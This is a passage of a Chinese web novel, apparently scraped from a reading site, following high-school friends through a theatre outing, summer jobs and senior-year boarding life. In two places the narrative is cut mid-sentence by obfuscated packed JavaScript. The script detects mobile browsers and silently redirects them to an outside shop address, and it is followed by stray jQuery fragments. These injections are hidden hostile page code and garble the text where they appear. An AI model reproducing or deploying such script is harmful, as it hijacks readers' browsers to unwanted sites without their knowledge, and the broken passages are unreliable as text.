陆向川闻言抬头,露出笑容,“期期,嗯?阿姨呢?” 张期期随意摆了摆手,“我妈和她的朋友说话呢,哎?你怎么也来了,还知道我也来了?” 陆向川轻描淡写道:“阿姨以前就是戏曲表演者,这次我听说市中心剧院有表演就来看看了,至于知道你和阿姨来的事情啊……啊,我随便猜的哈。” 张期期投去了“不信”的眼神:…… ……唔,她想了想大概是她爸说的吧,最近她爸好像和陆叔叔来往得挺频繁的,向川知道也是正常。 “咦……你怎么有这个手办?好可爱啊,这里可以买吗?我怎么没看见?”张期期指着陆向川手中的穆桂英手办惊讶道。 陆向川眼底微闪,平静道:“这个啊……我跟陈恕买的。” 啊? 张期期疑惑地看着他,“什么?” “刚刚我在剧院门口附近买的,陈恕在那里支了个小摊子,专门卖这次表演相关的小东西。你……不知道吗?”陆向川抬眸望着她道。 闻言,张期期立刻站起来,“我去看看。”她转身快步走出待客厅。 陆向川一愣,期期的行为简直出乎她的意料!听到自己的朋友在剧院门口摆摊,难道期期不会觉得难堪吗?难道不会觉得掉价吗?怎么她还要出去找陈恕? 片刻后,他看向张期期又从门口走了进来…… 他瞬间如释重负地笑了,看来期期终于意识到了,剧院门口的陈恕和他们根本就不是一个世界的人,他们这个年龄,最是要面子的时刻,期期肯定是反悔要出去看陈恕了…… 然而下一刻,他的笑容就僵在了脸上,只见张期期从甜品台上顺走了一个小蛋糕,又拿了瓶牛奶跑了出去。 陆向川脸刷地一下沉了下来,期期这样的行为……果然是和那些不三不四的穷鬼呆久了,沾染上了他们的坏风气。 这件事……要和张叔叔、戚阿姨说一声吗? * 另一边,张期期刚走出剧院门口,扑面而来的就是室外蒸腾的热浪。她踩着小细跟的凉鞋,手上拿着小蛋糕、牛奶,哒哒哒地跑来跑去,四处寻找陈恕的身影。 她顶着烈日走出剧院大门口近两百米的距离,才看见了榕树下身姿挺拔的少年,他背对着她,正在给客人介绍摊子上的小玩具。 客人拿了一个手办之后,付完钱准备离开时,正好抬头看见了站在陈恕身后不远处的张期期。 陈恕见状,疑惑地顺着对方的视线转过身去,四目相对的瞬间,他浑身一滞,期期…… 骄阳下,少女一手托着小蛋糕、一手握着瓶牛奶,微微歪着头笑眼盈盈地望着他,她就站在阳光里,仿佛身上镀上了一层耀眼的光辉,她就是一个那么耀眼的女孩子。 “你女朋友啊?很漂亮哦~”客人笑着调侃了一声,随后转身离开。 对方话说得很大声,陈恕顿时手足无措,期期肯定听见了,他……他怎么敢承认那般耀眼闪亮的女孩子是自己的女朋友呢? 然……无奈对方走得太快了,陈恕甚至来不及反驳。 “陈恕——” 她又在唤他的名字,陈恕心脏猛地一跳,紧张得下意识攥紧了手心。 穿着小礼服的她美得与平日里他见到的样子很不相同,这一刻他不由得胆怯起来,他不敢看她,甚至还想转身背对着她。 “陈恕——” 张期期哒哒哒地跑过来,笑容盛大,她微微仰头望着他,“好久不见,陈恕!” 陈恕顿了顿,怎么也没想到她见到他的第一句话却是“好久不见”,好久不见……他大概有十九天没见她了。 “你怎么不问问我,为什么在这里?”陈恕抿了抿唇,神色平静。 张期期啊了一声,“这不是很明显吗?你在这里摆摊啊!” ……也是,他确实在摆摊!陈恕内心自嘲道,他哪来的底气觉得摆摊是一件羞耻的事,尊严是吃饱了的人才有资格去维护的东西。 陈恕点头,表面上神色淡淡,“嗯,我在摆摊。” 张期期并没有意识到这是陈恕的自嘲,她神色自若,笑着将小蛋糕、牛奶塞在了陈恕的手里,少女眨了眨眼睛,略显调皮,神秘兮兮道:“这是我从剧院待客厅里顺出来的哦,专门给你的,你快吃!” 陈恕眼神复杂地看着手心里的小蛋糕和牛奶,而张期期已经兴高采烈地逛着他摊子上的手办等等…… 她头也不抬,兴趣盎然地拿着手办看了又看,嘴里边道:“陈恕,你的脑子真灵活,居然能想到在剧院门口卖这些,你是提前知道这里有演出是吗?然后准备趁着演出狠狠赚它一笔吗?” “商机!这确实是个商机!”她狠狠点头,竖起大拇指! 陈恕:…… 为什么她的反应总是出乎他的意料,她似乎不觉得她的朋友在街头摆摊很丢她的面子,更甚至就算踩着小细跟的高跟鞋、穿着昂贵的小礼服,也毫不顾忌地来到这与她格格不入的小摊子面前肯定他的行为。 期期……他在心里唤着她的名字,可悲的是连他自己都无法做到坦然面对这样的自己,而她却毫不在意…… 许是她的坦然感染到了他,陈恕笑着将刚才白得陆向川11块钱的事告诉了对方。 期期听得眉眼弯弯地笑着。 噔噔噔—— 她斜挎包里的手机再次响了起来,张期期看了下信息,“陈恕,我妈妈找我了。我就先回去了……”她指了指不远处的剧院。 陈恕微笑着:“好。” “陈恕,小蛋糕赶紧吃掉,天气热,上面的奶油会融化的。”她跑了一段路后,突然转身用力向他挥了挥手喊着道。 少女的裙摆在夏风中微微荡漾,陈恕点头,“好”。 他看着手心里小小的切块蛋糕,眼底满是轻柔的笑意,和上次一样是草莓味的,那天她的话仿佛又回响在他的耳边,她说蛋糕是甜的,希望他吃了以后会开心一些。 “期期……”少年轻声呢喃,为什么她偏偏对他如此好,就是因为喜欢吗? “喜欢”,他一想起来,便觉得甜蜜不已,然而垂眸看看自己身处的环境却蓦然觉得有些苦涩。 剧院的表演快要开始了,应该也没什么人来买东西了,陈恕便坐在自己带来的小马扎上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651569|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将黏在蛋糕外壳上的小叉子拿下,一小口一小口、细细品尝着沁入心底的甜意。 盒装的牛奶可以放得久一点,他并不打算在这里囫囵将她给的善意清理掉。 年少的他什么都没有,因此侥幸得到的东西他总是格外地珍惜。 …… 张期期小跑回剧院门口,迎面而来的冷气让她不自觉地发出一声谓叹,叹完后她猛然意识到,陈恕对她突然出现在这里,好像一点儿都不惊讶,就好像他在她去找他之前,就知道她在剧院里了…… 唔……少女摸了摸下巴,猜测到估计是当时她和她妈妈下车的时候,他看见了吧…… “期期……”戚和风从表演厅的入口处走过来,“你去哪了?向川呢?” 张期期走过去,挽住戚和风的手臂,“向川在待客厅里。” 说话间,待客厅的人群都渐渐往外走出来,显然是表演快要开始了…… “戚阿姨……”陆向川走过来微笑的唤了一声。 戚和风笑了笑,“向川今天看起来真精神……好了,我们进去吧。” - 演出厅里。 当所有人都坐下时,明亮的灯光瞬间暗淡下来,而原本昏暗的舞台反而伴随着配乐,灯光开始闪烁起来……今日表演的曲目是《牡丹亭》。 “梦短梦长俱是梦,年来年去是何年。” “人易老,事多妨,梦难长。” …… 舞台上背景如梦似幻,无数的纱幕从舞台的上方倾泄而下,多媒体投影在唱角的身后多元变幻着,张期期看着本身性子风风火火的张阿姨在舞台上简直像变了一个人似的,身姿婀娜、唱声悠扬、步履从容…… 她余光悄悄瞥了一眼戚和风,只见对方满眼怀念,在看着舞台,又仿佛在在透过舞台看向遥远的地方…… 一曲终了,演出厅里灯光亮起,舞台上演员们谢场,雷鸣般的掌声响起,戚和风仿佛从遥远的过去回到了现实里,她眼底掠过一丝遗憾和怀念,也跟着鼓起了掌。 * 出了演出厅,人群中陆向川礼貌地和戚和风、张期期道别。 戚和风想到等会儿要和张洁莉、黄微她们一起聚一聚,也不好叫上陆向川,便道:“向川,下次来阿姨家吃饭吧!这次阿姨、期期要和朋友聚一聚。” 陆向川腼腆地笑了笑,“好,那阿姨、期期再见。” “再见,路上小心点。”戚和风微笑着道。 张期期笑着摆了摆手。 * 丽雅轩。 苏式庭园建筑的丽雅轩是专门接私人定制菜肴的餐馆,餐馆占地面积非常大,堪称一步一景,流水、游园、假山、庭廊…… 戚和风让张世明帮她预定了这家店的菜肴用来接待多年未见的好友们。 此时,菜还未上来,张期期手撑着下巴听着戚和风与好友们的叙旧。 戚和风听着她们讲这些年在外表演时发生的趣事,听得越发着迷。十几年的时间,她听着她们从挤在闷热、狭小的后台里一个小隔间内自己化妆到现在在圈子里名扬天下,有了属于自己的班子,际遇可谓天差地别。 戚和风也感概道:“是啊,当年我们还年轻的时候,都是劣质的舞台服、头饰,化妆什么的都要自己动手,如今你们可算好了……” 众人感概一番完,张洁莉突然眼眸闪了闪,笑着道:“期期,能不能帮阿姨去门口接一下我的学生啊,他刚才还要在剧院那边对接一些事情,现在应该快到了。” 张期期闻言,笑着道:“好啊,是刚才那个男生吗?” “对对对,就是他。” “好。” - 张期期走出包间后,张洁莉整个人彻底放松下来,说话也突然变得不客气起来,“小风,你老公知道你来见我们吗?” 十几年了,她对张世明的印象依然差得极致。 戚和风抿了抿唇,随后微笑着道:“他知道的,丽雅轩就是我让他预定的。” 张洁莉冷哼一声,“既然知道我们多年未见了,我们作为你的好友,他难道不该来见见我们吗?还是说……他张家大少爷看不起我们?” 黄微皱起眉头,呵斥道:“洁莉!你胡说什么……” 宁泽和其余人也都面露不赞同。 戚和风依旧笑得温柔,她揶揄道:“张大少爷有没有看不起你们,我不知道,但我们洁莉肯定是看不起张大少爷的,不然这票啊……怎么就我和期期两张呢!” 黄微怒道:“洁莉!” 她明明让她寄三张过去,她肯定是闹脾气故意寄了两张,她们还以为是张世明没来,原来是洁莉她居然只寄了两张票! 见状,戚和风立刻明白了,她笑着摆了摆手,洁莉是什么脾气的人,她最是了解了,“别说她了,就算寄了三张,世明也不一定有空,最近他很忙的。” 张洁莉闻言更是翻了个白眼,然而对面坐着的宁泽死死地盯着她,她撇了撇嘴,不说就不说呗。 黄微:“洁莉你也别这么大怨气,你看看我们小风穿的、戴的,你奔波演出大半年都不一定买得起,小风过得也很好啊,你看看这么多年来,她依旧这么漂亮美丽。好啦……你就别记恨了张世明抢走她啦。” 张洁莉和戚和风算是从小一起长大的,当年她们两人一起被欧阳老师收为弟子,相伴着度过了年少的时期,那些年一起吃苦学本事,两人是相互鼓励着过来的,然而……她们约定一起走向世界,将我们国家的精粹带向全世界,最终戚和风却失约了,这也是张洁莉处处看不惯张世明的原因。 她认为张世明这个富家子弟油嘴滑舌的,一定不可靠,她们那个圈子里多得是嫁入豪门后却过着表面甜心里苦的糟心日子。 宁泽和其他人都都附和,笑着打趣道,“是啊是啊!我们小风天生就是享福的富贵命,哪像你啊,劳碌命!” ……一群人在戚和风面前绝口不提她们的师傅,师傅责怪、不愿意原谅选择结婚且放下戏曲的戚和风,她们能理解师傅十几年费心的教导像镜花水月般一场空的心情。 但当年她们也是一起长大的,自然做不到同样和她断绝关系,只能说每个人在人生道路上的选择都不同,她们也愿意理解,只要她过得好就足够了。 她们理解了,但在场的只有张洁莉一直耿耿于怀,她哼笑一声,“你们就替他说话吧!” 戚和风无奈地笑了笑,“是我的错,洁莉别生气了,我们好多年没见面,不要浪费时间在生气上面,好吗?” 看着同记忆中一样温柔美丽的戚和风,张洁莉抿了抿唇,还是道:“算了!不过……小风,要是他对你不好,你就回来找我!当年你是我们之中学得最好的,我相信你重新站在舞台上也是最棒的!” 戚和风一愣,重新站在舞台上……她笑着摇摇头,她怎么敢想呢?这完全是不可能的了。 “你不信吗?我说的是真的,你一直都是最棒的,就算……”就算过了十几年…… 张洁莉的话还未说话,黄微就打断了她的话,“洁莉!!” ……她怎么说话还是这么不过脑子,这不是在诅咒人家婚姻破裂吗? 与此同时,张期期接到了张洁莉的学生,她推开包间的门,“张阿姨,我接到您学生了……” …… 接下来的话就不适合在张期期面前说了,因此张洁莉不再谈论张世明,而是边吃边和戚和风继续叙旧起来…… 87. 第 87 章 - 盛夏的早晨骄阳如火,空气中带着燥热的暖意,金色的光芒从窗户攀爬而上,落在了房间内的木质地板上。 床头的闹钟响个不停,许兰亭崩溃地裹着被子,嚎叫一声拍掉了它,终于安静了…… 又过了大约十分钟,门口传来了敲门声,“叩叩叩——” 许兰亭眯着眼,生无可恋道:“谁啊,吵死人了!” 门外的许敬亭:…… “时间差不多了,你还不想起来吗?不起来的话等会儿没车载你,你就坐公交车去上班吗?我提醒你一下,坐公交车上班的话,你一定会迟到的。” 施施然地撂下话,许敬亭转身就走,他没走几步,身后突然传来猛地开门的声音,“起了起了……我起来了。” 随后就是光着脚在房间里跑的声音,许敬亭露出了然的笑意,果不其然,厕所里又传来杯子、牙刷掉在地上的声音。每天早上都是这么兵荒马乱啊……他都习惯了。 - 许兰亭洗漱、收拾完之后背着书包下了楼,他将书包随手扔在沙发上,一屁股坐在了餐桌前,开始狼吞虎咽。 没办法,他哥已经慢悠悠地吃完了早饭,现在双手抱胸、好整以暇地看着他。 “怎么二十几天了你还没习惯早起上班的日子啊?现在体验到你小女友的辛苦了没?”许敬亭笑着看他。 暑假刚开始的时候,他的傻弟弟就屁颠颠地跟在人家女孩子身后,一起去金河湾商都一楼的火锅店打暑假工,上的是最累的全天班。 每天早上七点多过去帮忙处理食材,打扫卫生,十点半左右开门迎接客人当服务员,晚上九点半下班,还要送女朋友回家,最后他再自己骑车回家,一般来说他回到家都十点半,接近十一点,洗簌完之后这家伙累得倒头就睡。 早上为了多睡一会儿,他一直都是将自行车放在后备箱,坐汽车去上班的,到了目的地之后,他就把自行车卸下来,停在商都门口。 许兰亭嚼了一口三明治咽下,气馁道:“难得暑假,我真的过得比上学还累。林听她真的好辛苦啊,我都不知道她每天哪里来的那么多精力。哥……我估摸着她晚上下班之后大概还熬夜学习了。” “嗯?不对!不是大概!是肯定!你都不知道我们吃午饭的时候,她一边吃盒饭一边拿着小本子背英文单词啊!” 许敬亭笑了笑,神色平静道,“在你没看到的地方,有些人光是活着就用尽了所有的力气。” 许兰亭闻言,愣了一下,随后低头喝了口牛奶,一直无忧无虑的眼神中难得充满了点点忧愁,“哥……你说得对。” “还继续坚持吗?”许敬亭问。 “当然啦,哥你别小看我!这次我赚到钱,嗯……我给你买……买……”许兰亭顿了顿,三千多块钱能给他哥买什么,他哥身上的衣服、鞋子、手表他都买不起。 “给我买什么?”许敬亭忍俊不禁。 许兰亭拍了下桌子,气势汹汹,“买双袜子!!” 许敬亭:“哈哈哈哈哈——”。 许兰亭上了车后就开始补觉,到了金河湾商都附近时,他就被他哥赶下了车,“等会儿,我自行车还没卸下来呢!” 他眼疾手快地将自行车从后备箱卸下来,朝许敬亭摆了摆手后,少年骑上自行车离开了。 许敬亭看着他的背影笑了一下,随后看着前排的司机道,“走吧。去公司。” 十字路口,红灯亮起,汽车缓缓减速停在了斑马线后方,人行道旁绿灯亮起,坐在汽车后排的许敬亭抬眼望出窗外,便见林听骑着自行车行驶在斑马线上。 夏日晨曦从天际洒下,少女的衣摆上闪烁着光芒。 许敬亭微微笑了笑,他弟弟的小女友真是个个性要强、思想成熟的小姑娘啊,而他弟弟单纯到有点傻气,嗯……正好互补。 * 金河湾商都。 林听将自行车停在商都门口后,从前车筐里拿起书包背上,快步跑进了一楼火锅店的后厨。 许兰亭带着手套、围着围裙正在清洗着牛百叶,他听到声音下意识地抬眸望去,见是林听,便笑着小声问道:“你吃过早餐没?” 林听愣了愣,微微摇了摇头。昨天晚上她做题做得太晚了,今天早上不小心起得晚了,便没有吃早餐,一路上她自行车骑得飞快,就是为了赶过来打卡。 火锅店迟到一次,扣两百块钱。 许兰亭将手套摘掉,拉着她的手臂走到员工休息的小隔间内,他的书包就放在架子上,里面有他从家里顺出来的盒装牛奶和袋装三明治。 家里的佣人阿姨时不时会在冰箱里填满容易取用的简易餐食,以备他哥晚上应酬回来没有东西填饱肚子,他哥哥不是一个会在半夜里叫醒佣人阿姨给他做吃食的人。 “还没吃早餐的话,你先吃完再忙。反正已经打卡了,不会扣钱。”许兰亭一把按在林听的肩膀上,把对方按着坐在小隔间的椅子上。 他笑了笑,又道:“我去忙了,你慢慢吃。” “啊……好。”林听点点头,眼神有些无措地看着许兰亭走出休息室。 后厨内,水龙头的水流持续地冲着一整张地牛百叶,另一名年青的员工戴着手套摩挲着,力图将上面粘着的内脏和血块冲掉。 许兰亭重新走了进来,他摸了摸后脑勺,“今天你没牛奶、三明治了,林听早上没吃,我拿给她了。你的早餐你自己解决吧!” 青年员工笑了笑,调侃道,“带了二十多天的早餐,今天终于送出去了?” 许兰亭戴上手套,手肘轻轻捅了捅对方,小声道,“说什么呢?哪里是这样的,我只是习惯在书包里带点吃的而已。” ……他可不想被林听听到,她会有心理压力的,他自己每天早上坐汽车过来的,家里也有阿姨煮早餐,但期期不是,她要骑自行车过来,他备着早餐就是为了预防她没时间吃早饭这件事。 “行行行!我不说了,都便宜我了,吃人家的嘴软,我不说就是。”青年员工低声笑着道,手上洗牛百叶的动作也不落下。 …… 早上收拾好食材,清理了店内的垃圾,将一切整理好之后,也就到了平时开门营业的时间。 中午十二点之一般都比较清闲,忙起来的时间是下午五点之后到晚上九点这段时间,九点半之后就会有上夜班的同事接替接下来的工作。 或许是因为在暑假期间,许兰亭、林听忙起来的时候,明明两个人都在一家火锅店里,硬是没能说上一句话。 直到夜色暗沉,林听、许兰亭才收拾自己的东西放进背包里,满身疲惫地走出火锅店。 头顶月明星稀,入夜的夏风不像白天那么燥热,反而带着丝丝的凉意。 许兰亭从书包里拿出件白色的外套递给了林听,道:“起风了,先穿上吧。” 林听顿了顿,“还好吧,这风吹着还蛮舒服的,我有点热。” “那是因为我们刚才在火锅店里,店里热气比较大,而且忙起来确实热,你这会儿不冷,等会儿骑自行车风吹久了,会觉得凉的。” “那……那好吧。”林听接过他的衣服,穿在了身上,袖口和衣身都长了很长一截。 “走吧。我送你回家。” “嗯……” 何榕大道上,暖黄色的路灯倾泄而下,夜晚的风将树叶吹得飒飒作响,一整条笔直的大道上空荡荡的,只有许兰亭和林听两人。 许兰亭余光悄悄瞥了一眼旁边的林听,嘴角露出一丝满足的笑意,就这么安安静静地送她回家这件事是很久很久以前他不敢妄想的一件事,如今他们已经是很好的“朋友”了,将来也一定会比今日更好吧…… * 九月,京照一中那栋空了三个月的高三教学楼再次迎来了新一届的高三生,在沉寂许久之后,这栋教学楼再次喧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665523|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹起来,然而没过两天,带着欢声笑语的喧嚣慢慢消失,取而代之的是沉闷压抑的学习氛围。 晚自修的第一节课在晚上七点开始,陈恕看了一眼墙上的时钟后微微皱了皱眉,再过三分钟就会响铃声,期期和林听怎么还没来教室…… 铃声响起,教室外的走廊传来了急促的脚步声,陈恕下意识地望出去,张期期拉着林听的手,两人在教室门口紧急“刹车”,然后上气不接下气地走进了教室。 陈恕眉心微拧,她头发披散着坐在椅子上,甚至发尾还湿润着。 “期期……你头发都没干……” 张期期闻言,无奈地捂住额头,自从住校之后,她在陈恕面前狼狈的次数越来越多了。片刻后,她用手指充当梳子将头发梳了梳,轻声道:“没办法,排队等热水的同学实在太多了,我们今天下午吃得慢,到宿舍的时候,热水处已经排起了长队。” “我实在等不及了,就跑到林听那洗澡了,哎!就是教师宿舍实在太远了,等我洗完,我们两个真的是百米冲刺跑回来的……” 林听和林奶奶住在教师宿舍,教师宿舍是有独立的卫生间、卫生间里还有24小时供应的热水!而学生宿舍呢,简直像还在上个年代一样,卫生间和洗澡间都在走廊的尽头,既要排队接热水又要排队洗澡,她真是要疯了…… 陈恕抿了抿唇,低头在书包里翻了翻,他翻出来一条新的、干净的毛巾递给张期期,小声道:“期期……把头发擦干一些。” 张期期看了看他手中的毛巾,又看了看他的桌柜,惊奇道:“你的课桌是哆啦A梦吗?怎么连毛巾都有啊!” 陈恕眼底闪过一丝笑意,这是因为他在大夏天穿着长袖的衣服,即便他再不怕热,偶尔也还是会流汗的,因此他会在书包里带一条毛巾,实在太热的话会去厕所里打湿毛巾擦一擦身体。 他拿给张期期的这条毛巾是开学前新买的,学校为了高三学生能够更加舒适地学习,即便已经过了学校开放空调的时间,还是选择睁一只眼闭一只眼任由高三的学生继续享受空调,只不过高一高二的学生就没有待遇了,也是因此,这条毛巾才至今放在他的书包里没有用上。 陈恕没有解释,只是再次道:“快擦一擦吧,张老师要上课了……” “哦。”张期期也没在意,随手将毛巾盖在头顶上后,双手疯狂地揉着。 陈恕:…… 片刻后,张期期头顶就像杂乱的稻草窝一样,她把发尾全攥在手心里,拿着毛巾使劲搓搓搓。 陈恕:…… “好了,陈恕,你这个毛巾……我拿回去洗洗再还给你吧?” 陈恕抿唇,教室里还开着空调,他暂时用不上,“不用还我了,你留着放在教室吧,下次还可以用。” 张期期笑了笑,“啊……那也好,谢谢你啦~” - 高三的晚自习说是晚自习,但其实和白天上课的模式一模一样,该上课的上课,该考试继续考试,并没有比白天轻松一点点,而当天的作业一般都是晚自修结束之后,要么留在教室写完,要么回到寝室打着台灯熬夜写完。 晚上十点40分,最后一节晚自修结束。 林听住在教师宿舍楼,而教师宿舍楼位于整座校园的偏远角落,因此下了晚自修之后,许兰亭并没有选择继续留在教室里学习,而是送林听回教师宿舍楼。 林奶奶年纪大了,林听也不放心,所以一放学就赶紧回去。 张期期小声朝他们两人挥了挥手之后,换了个座位坐在了许兰亭的椅子上,她转身拿着试卷和陈恕挤一张桌子。 少年头也不抬,下意识地将他的试卷往自己这边拉一拉,给她让出一些桌面位置。不需要任何的言语,他们已经习惯了彼此的存在。 窗外月上梢头,皎洁的月光倒影在玻璃窗上,教室内安安静静地,只有书页翻动的声音、笔尖在纸张上划过的摩擦声…… 88. 第 88 章 - 昏黄的路灯照射在校道上,夏夜的晚风吹过带起丝丝缕缕的凉意,寂静的校园内树叶发出飒飒的响声。 晚自修结束后,张期期、陈恕并肩走在校道上,脚下树冠落下的阴影随着风微微晃动着,他们走到了学校的操场上。 白色大灯照在整个操场上,操场上学生三三两两结伴着散步或是在跑道上跑步,高三学生压力大,所有会有一部分同学在晚自修结束之后来操场跑跑步,解压又容易入眠。 张期期、陈恕没有选择跑步,两人走上了操场外围的阶梯式观众席,坐在了最上层的位置。 头顶是茂盛生长的榕树树冠,远处星星点点的亮光点缀在夜空上,张期期双手托着脸,手肘支在膝盖上,“嗯……这样子什么都不用想,脑袋放空真的很舒服呢。” 一回到教室、宿舍,哪怕你不想学习,旁边的其他人都一副奋笔疾书的模样,你也会下意识地跟着学习,唯恐被落下,被拉开差距…… “嗯。”陈恕余光瞥了眼身旁的张期期点点头,因为超忆症,他脑子的负荷其实是很重的,所以空旷、安静的环境是他能感到放松的地方。 白色灯光照射下,仿佛能见到空气中的灰层,像极了丁达尔效应。 望着这一幕,张期期突然想起了第一次见到陈恕的画面,那一天他就站在灯光下,抱着猫,头顶的路灯洒下的光辉铺在他的身上,在丁达尔效应下,恍若神明垂眸。 “陈恕……你还记得我给你画过一张画吗?”张期期推着一边脸,笑意盈盈地望着他。 “嗯。我记得。” 那张画如今还在他的出租屋内的柜子里,连绵雨季的时候空气潮湿时,他怕画纸慢慢被水汽沾上,还去相框店将其裱了起来,倒不是因为画上的是他,而是那是她第一次送给他的东西,也是第一次有人给他画画。 “那张画还在吗?”张期期继续问。 “……还在。” “有好好保存吗?”她又问。 “……有!” 如此,张期期高兴起来,“那就好。” 少年少女双手往后撑在地上,抬眸望着暗沉的天际,仔细看还能看见浓云随着风翻涌着,他们不再说起学习上的事情,而是有一搭没一搭地东拉西扯,聊着毫无意义、毫无营养的话题。 学习的压力是无形的,甚至到了这个时候他们反而不再嘴上嗷嗷叫着,同学们都变得沉静下来,偶尔什么事情都不做便是他们高三生难得的放纵了。 只是放纵始终只是一小会儿,他们没有特权在高考的面前活得与众不同。 很快,他们晃晃悠悠地散着步回到了宿舍楼,陈恕站在女生宿舍楼门口看着她走进去,少年忽然开口道:“期期……你的画很好。我很喜欢。” 张期期闻言,蓦然转身,看着少年眼底的认真,她心底的怅然消散了几分,挥了挥手道,“那就好!我上去啦……” ……自从上了高三,住校之后,她没有办法再去美术培训室上课了,高三学生一个月只能回一次家,这也就意味着她再怎么挤出时间也只能在回家的时候去上美术培训课。 培训室的同学集中培训好久了,他们现在应该在细致地打磨着各自的画艺吧,还是在锻炼写生的能力呢…… 不管如何,他们都在朝着自己的目标前进,而她呢,明明在高压的学习下,却偶尔会觉得不甘心,她的心好像晃晃悠悠的,一直没有落下实地,悬在半空中进不得退不了…… 总之,美术室的一切都与她无关了。 - 或许是因为高三的学生晚自修结束后大部分学生还是会在教学楼停留很长一段时间继续学习,所以宿舍楼的门禁和熄灯时间同样很晚,是在晚上的十二点钟。 张期期轻轻推开宿舍门,小声道:“我回来了……” 此时,雷婷正在给侯蕊讲数学题,两人闻声抬眸看了她一眼,再互相对视一眼,雷婷突然道:“期期过来,你给侯蕊讲这道题,我讲了几遍,她都没听懂……” 侯蕊:…… “明明是你讲得太抽象了,什么先这样,然后再这样算,答案就出来了……我问的是为什么要这么算,思路是什么,她直接给我照着念一遍答案。” 顾佳熹在一旁偷偷笑了出来,侯蕊怒目而视,顾佳熹抿了抿唇,举手表示投降。 “那本来就是这么算吗?不然怎么说?雷婷一脸懵。 张期期将泛起来的遗憾抛在脑后,笑着道:“好,我看一下题目先。” 哪知侯蕊却坚定地摇了摇头,道:“等会儿再看题,现在都快12点了,你先去外面卫生间刷牙洗脸,不然熄灯之后你就要拿着台灯摸黑刷牙了……” 张期期想象了一下那个画面,突然觉得毛骨悚然起来,她连忙从柜子里拿出洗簌用具,往走廊卫生间外跑去。 顾佳熹连忙道:“我去上个厕所。” 侯蕊&雷婷立刻起身,异口同声道:“我也去!” 她们可不想在半夜去宿舍外厕所,“走走走,一起去一起去。” …… 另一边,男生宿舍—— 陈恕、许兰亭、周嘉先和王思四人一个宿舍,陈恕刚推开宿舍门,就发现王思正在神秘兮兮地讲着什么,而周嘉先、许兰亭都是一脸抗拒的模样…… 陈恕:? “怎么了?”他边说边从柜子里拿牙刷、毛巾准备去洗簌。 许兰亭死死地抱着枕头一脸惊恐地蹿到陈恕的身边,紧张兮兮地道:“我真是受不了王思了,他准备作死啊!” 陈恕皱起眉头,又问:“到底怎么了?发生什么事了吗?” 周嘉先无奈道:“王思一直撺掇我们玩笔仙,他想问笔仙将来他能不能考上华大。” 王思哈哈大笑,“玩一玩嘛,不过这玩意肯定是假的,问笔仙还不如问我自己呢?” 许兰亭:…… 他怒道:“那你还想玩?” “就试试呗。”王思嘟囔道。 周嘉先盯着他看,“你该不会是和蒋文他们打赌了吧?” 被一语说中的王思:…… 宿舍内王思、许兰亭、周嘉先面面相觑,随后齐齐看向准备出门的陈恕,陈恕神色淡淡,拿起洗簌用品直接出门,他懒得掺合这几人的胡闹,还想试探他?陈恕扯了扯嘴角。 陈恕出门后,王思、许兰亭、周嘉先纷纷趴桌子的趴桌子,躺床上的躺床上…… 王思:“配合了一场戏,陈恕居然不接招啊?” 周嘉先抹了把脸,“我都说过了,他肯定不会有兴趣的。” 王思拍了拍桌子,怒道:“学生时代,哪个男生没在宿舍玩过笔仙啊!你们知不知道你们错过了什么!啊!你们错过了青春的体验!懂不懂啊你们!” 周嘉先:…… 许兰亭:…… 两人不约而同地转身,该干嘛干嘛去。 * 日升月落,高三的学习生活日复一日,在教室、宿舍、食堂三点一线的生活中,日子过得飞快,很快就到了九月月底。 教室里,同学们难得地有些躁动,因为明后两天就是周末,也是这个月难得可以回家的日子,再加上今天班主任张老师会告知他们接下来的国庆假期日额,双重buff之下,教室内的同学们很难平心静气地继续学习。 张期期手肘支在课桌上,手掌捧着脸,“今年的10月1号在星期一,我猜我们高三撑死了放三天。” 许兰亭回过头来,笑着道:“也不错啊!放三天再加上周六周日,一共放五天!哇……想想都觉得美滋滋的。” 林听闻言,眼神一言难尽,她转身看着张期期,四目相对下,她们双双叹了口气。 张期期摇头道:“天真!你实在是太天真了!我说的是周六、周日、再加上10月1号的周一,一共这三天。” 许兰亭大惊失色,直呼亏了亏了! 恰在此时,张扬夹着一沓试卷走进教室,他眉心拧起,“许兰亭,你什么亏了?” 许兰亭:…… 他食指和拇指捏在一起,在嘴巴上做了一个拉上拉链的行为,示意他闭嘴,不说了。 张期期见状,立刻举起手,大声道:“张老师,兰亭想问问国庆我们放几天假?” 教室内埋头刷题的学生也不装了,齐齐眼神期盼地望着讲台上的张扬。 张扬:…… 他慢条斯理地将教案翻开,然后才慢悠悠道:“两天。” 哇哦~两天!!意料之外。 重点一班的同学在心里盘算着,国庆放两天,再加上周六日,哇~一共四天!! 张扬好整以暇,双手搭在讲台上,看着底下喜笑颜开的学生,他语气凉凉地补上一句,“两天,这周日和下周一。” 学生:啊?? 学生:啊!! “不是……老师,老师!”张期期瞳孔震惊,“我们这个周末不是回家嘛?” 张扬淡淡道:“是啊!周日回嘛!” 眼看着班内的同学一副大受打击,人仿佛已经是倒在地上吐魂的模样,他好心解释道:“国庆放一天,但是要补课补回来,所以你们周六先补,下周一放!” 众人只觉得仿佛被雷劈了一样,这特么地叫放假!啊!这放的哪门子假!他们恨不得上去摇张扬的身体,把他脑子里的水晃出来! 